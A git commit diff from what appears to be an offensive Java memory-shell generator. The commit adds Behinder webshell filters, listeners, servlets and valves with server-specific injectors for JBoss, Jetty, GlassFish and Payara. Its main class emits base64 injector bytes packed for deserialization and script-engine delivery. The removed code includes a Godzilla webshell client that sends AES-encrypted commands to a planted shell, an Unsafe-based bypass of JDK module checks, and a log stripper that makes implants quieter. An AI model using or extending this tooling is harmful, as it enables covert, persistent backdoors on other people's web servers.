feat: support behinder shell generate

This commit is contained in:
ReaJason
2024-12-22 00:05:01 +08:00
parent 100b4e5d9b
commit 01fd2ecb80
142 changed files with 2661 additions and 289 deletions
+2 -1
View File
@@ -45,6 +45,7 @@ tasks.withType(JavaExec).configureEach {
}
dependencies {
implementation project(":common")
implementation project(":deserialize")
implementation project(":memshell")
implementation 'net.bytebuddy:byte-buddy:1.+'
@@ -52,7 +53,6 @@ dependencies {
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
// implementation fileTree('libs')
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
@@ -62,6 +62,7 @@ dependencies {
implementation 'com.squareup.okhttp3:okhttp:4.+'
implementation 'ch.qos.logback:logback-classic:1.+'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
@@ -1,15 +1,18 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -19,8 +22,8 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Command)
.server(Server.JBossAS)
.shellTool(ShellTool.Behinder)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
@@ -30,14 +33,21 @@ public class GeneratorMain {
.key("key")
.headerName("User-Agent")
.headerValue("test123").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("cmd").build();
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass("test123")
.headerName("User-Agent")
.headerValue("test").build();
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, behinderConfig);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
}
}
@@ -1,56 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.DynamicType;
import java.lang.reflect.Field;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
/**
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
*
* @author ReaJason
*/
public class ByPassJavaModuleInterceptor {
@Advice.OnMethodEnter
public static void enter(@Advice.Origin Class<?> clazz) {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
} catch (Exception ignored) {
}
}
/**
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
* <br>
* 在静态代码块中执行 byPassJdkModule 代码
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
* # code that not work
* builder = new Bytebuddy().redefine(class);
* builder.visit(something);
* builder.make();
* <br>
* # code that work
* <br>
* builder = new Bytebuddy().redefine(class);
* builder = builder.visit(something);
* builder.make();
*
* @param builder bytebuddy builder
* @return new builder with bypass
*/
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
.on(isTypeInitializer()));
}
}
@@ -1,66 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.MethodVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull;
import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器
* 目前仅支持移除以下几种
* <br />
* 1. System.out.println() - printf 还不支持)
* 2. e.printStackTrace()
* 3. Logger.info (java.util)
*
* @author ReaJason
*/
public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
public static final LogRemoveMethodVisitor INSTANCE = new LogRemoveMethodVisitor();
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder.visit(
new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
}
@NotNull
@Override
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull MethodDescription instrumentedMethod,
@NotNull MethodVisitor methodVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
int writerFlags,
int readerFlags) {
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
@Override
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
) {
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
for (String arg : args) {
if (StringUtils.isNotBlank(arg)) {
super.visitInsn(POP);
}
}
super.visitInsn(POP);
} else {
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
}
}
};
}
}
@@ -1,57 +0,0 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
/**
* Servlet 包名替换,扫描包中所有 javax/servlet 将其替换成 jakarta/servlet。
*
* @author ReaJason
* @since 2024/11/23
*/
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
@Override
public int mergeReader(int flags) {
return flags;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassRemapper(
classVisitor,
new Remapper() {
@Override
public String map(String typeName) {
if (typeName.startsWith("javax/servlet/")) {
return typeName.replaceFirst("javax", "jakarta");
} else {
return typeName;
}
}
});
}
}
@@ -1,59 +0,0 @@
package com.reajason.javaweb.buddy;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import net.bytebuddy.utility.nullability.MaybeNull;
import org.jetbrains.annotations.NotNull;
/**
* 通过 classVisitor 将 classFileVersion 改为指定 JDK 版本,用于 JDK8 的环境能生成任意 JDK 版本的字节码,默认使用 JDK6
*
* @author ReaJason
*/
public class TargetJreVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJreVersionVisitorWrapper DEFAULT = new TargetJreVersionVisitorWrapper();
private final int targetJdkVersion;
public TargetJreVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
}
public TargetJreVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@Override
public int mergeReader(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
@Override
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
}
};
}
}
@@ -1,290 +0,0 @@
package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.GodzillaGenerator;
import lombok.Getter;
import lombok.Setter;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
*/
@Getter
@Setter
public class GodzillaManager implements Closeable {
private static final List<String> CLASS_NAMES;
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaGenerator.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
}
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String key;
private String pass;
private String md5;
private Request request;
private Map<String, String> headers = new HashMap<>();
public GodzillaManager() {
this.client = new OkHttpClient.Builder().build();
}
public static Pair<String, String> getKeyMd5(String key, String pass) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
return Pair.of(md5Key, md5);
}
public static GodzillaManagerBuilder builder() {
return new GodzillaManagerBuilder();
}
@SneakyThrows
public static byte[] generateGodzilla() {
Random random = new Random();
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(Payload.class)
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(className)
.make()) {
return make.getBytes();
}
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
private static boolean isValidResponse(String response, String md5) {
if (StringUtils.isEmpty(response)) {
return false;
}
if (response.length() < 32) {
return false;
}
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
}
@SneakyThrows
public static String getResultFromRes(String responseBody, String key, String md5) {
if (!isValidResponse(responseBody, md5)) {
return responseBody;
}
int lastIndex = responseBody.indexOf(md5.substring(16));
String result = responseBody.substring(16);
result = result.substring(0, lastIndex);
byte[] bytes = Base64.decodeBase64(result);
byte[] x = aes(key, bytes, false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
}
public static Map<String, String> restorePayload(String key, String payload) {
String p = payload;
try {
String urlDecoded = URLDecoder.decode(payload, "UTF-8");
if (StringUtils.isNoneBlank(urlDecoded)) {
p = urlDecoded;
}
} catch (UnsupportedEncodingException ignored) {
}
Map<String, String> map = new HashMap<>();
byte[] bytes = Base64.decodeBase64(p);
byte[] x = aes(key, bytes, false);
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
byte[] lenB = new byte[4];
int read;
try {
GZIPInputStream inputStream = new GZIPInputStream(tStream);
while (true) {
byte t = (byte) inputStream.read();
if (t != -1) {
if (t == 2) {
String dataKey = tp.toString();
inputStream.read(lenB);
int len = bytesToInt(lenB);
byte[] data = new byte[len];
int readOneLen = 0;
do {
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
readOneLen = read;
} while (read < data.length);
map.put(dataKey, new String(data));
tp.reset();
} else {
tp.write(t);
}
} else {
tp.close();
tStream.close();
inputStream.close();
break;
}
}
} catch (Exception ignored) {
}
return map;
}
public static int bytesToInt(byte[] bytes) {
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
}
public static byte[] intToBytes(int value) {
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
}
private Response post(byte[] bytes) throws IOException {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
return client.newCall(builder.build()).execute();
}
public boolean start() {
byte[] bytes = generateGodzilla();
try (Response response = post(bytes)) {
String setCookie = response.header("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
}
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
public boolean test() {
byte[] bytes = generateMethodCallBytes("test");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
return false;
} catch (IOException e) {
return false;
}
}
@Override
public void close() throws IOException {
byte[] bytes = generateMethodCallBytes("close");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
response.body();
}
} catch (IOException ignore) {
}
}
@SneakyThrows
private byte[] generateMethodCallBytes(String methodName) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
byte[] value = methodName.getBytes();
gzipOutputStream.write("methodName".getBytes());
gzipOutputStream.write(2);
gzipOutputStream.write(intToBytes(value.length));
gzipOutputStream.write(value);
}
return byteArrayOutputStream.toByteArray();
}
public static class GodzillaManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String key;
private String pass;
public GodzillaManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public GodzillaManagerBuilder key(String key) {
this.key = key;
return this;
}
public GodzillaManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public GodzillaManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public GodzillaManager build() {
GodzillaManager manager = new GodzillaManager();
manager.setEntrypoint(entrypoint);
manager.setPass(pass);
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
manager.setKey(keyMd5.getLeft());
manager.setMd5(keyMd5.getRight());
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
File diff suppressed because it is too large Load Diff
@@ -1,6 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memshell.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -31,6 +31,7 @@ public abstract class AbstractShell {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
case Behinder -> getBehinderShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
@@ -82,28 +83,23 @@ public abstract class AbstractShell {
.build();
}
/**
* 获取 Godzilla 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Collections.emptyMap();
}
/**
* 获取 Command 注入生成类 Map
*
* @return shellType -> shellClass,injectorClass
*/
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Collections.emptyMap();
}
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Collections.emptyMap();
}
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
case Godzilla -> getGodzillaShellMap();
case Command -> getCommandShellMap();
case Behinder -> getBehinderShellMap();
default -> Collections.emptyMap();
};
return shellMap.get(shellType);
@@ -113,6 +109,7 @@ public abstract class AbstractShell {
return switch (shellConfig.getShellTool()) {
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderGenerator {
private final ShellConfig shellConfig;
private final BehinderConfig behinderConfig;
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(md5Key))
.andThen(FieldAccessor.ofField("headerName").setsValue(behinderConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(behinderConfig.getHeaderValue())));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class GlassFishShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -4,9 +4,9 @@ import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jboss.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import org.apache.commons.lang3.tuple.Pair;
@@ -39,4 +41,12 @@ public class JbossShell extends AbstractShell {
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class)
);
}
}
@@ -1,11 +1,14 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener;
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -15,7 +18,7 @@ import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
import static com.reajason.javaweb.config.Constants.*;
import static com.reajason.javaweb.memshell.config.Constants.*;
/**
* @author ReaJason
@@ -51,4 +54,16 @@ public class JettyShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(BehinderServlet.class, JettyServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(BehinderFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, JettyListenerInjector.class)
);
}
}
@@ -1,12 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener;
import com.reajason.javaweb.memshell.payara.command.CommandListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
@@ -52,4 +55,16 @@ public class PayaraShell extends AbstractShell {
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
